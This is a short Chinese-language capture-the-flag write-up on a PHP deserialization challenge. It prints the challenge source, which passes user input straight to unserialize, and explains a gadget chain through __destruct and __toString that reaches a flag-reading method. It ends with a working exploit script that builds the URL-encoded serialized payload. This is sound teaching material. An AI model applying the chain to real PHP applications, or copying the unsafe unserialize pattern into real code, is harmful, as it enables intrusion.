进入就看见一串代码,直接开启代审
<?phperror_reporting(0); show_source("index.php");class w44m{private $admin = 'aaa'; protected $passwd = '123456';public function Getflag(){//通过该函数来获得flagif($this->admin === 'w44m' && $this->passwd ==='08067'){//当admin=w44m,passwd=08067时包含flag.phpinclude('flag.php');echo $flag;}else{echo $this->admin;echo $this->passwd;echo 'nono';}} }class w22m{public $w00m;public function __destruct(){//__destruct() 类的析构函数,在对象被销毁时被调用echo $this->w00m;} }class w33m{public $w00m;public $w22m;public function __toString(){//__toString(),这个方法的对象被当作字符串时执行$this->w00m->{$this->w22m}();return 0;} }$w00m = $_GET['w00m']; unserialize($w00m);//对w00m进行反序列化?>
通过上面的分析我们知道,flag.php被包含在Getflag这个方法中,我们需要使用某种手段来调用它,而w33m类里面有__toString()方法,当对象被当作字符串时执行。因此我们可以通过设置w44m的两个对象admin和passwd分别为w44m和08067,然后在w22m中赋值$w00m为w33m,并通过w22m调用w33m,分别为w33m的两个对象赋值,$w00m->w44m,$w22m->Getflag,,最后对w22m进行序列化和url加密。最终得到以下exp:
<?php class w44m{private $admin = 'w44m';protected $passwd = '08067';} class w22m{public $w00m;} class w33m{public $w00m;public $w22m;} $a=new w22m(); $a->w00m=new w33m(); $a->w00m->w00m=new w44m(); $a->w00m->w22m='Getflag'; $b=urlencode(serialize($a)); echo $b;
给w00m传递刚刚运行的结果,获取到flag。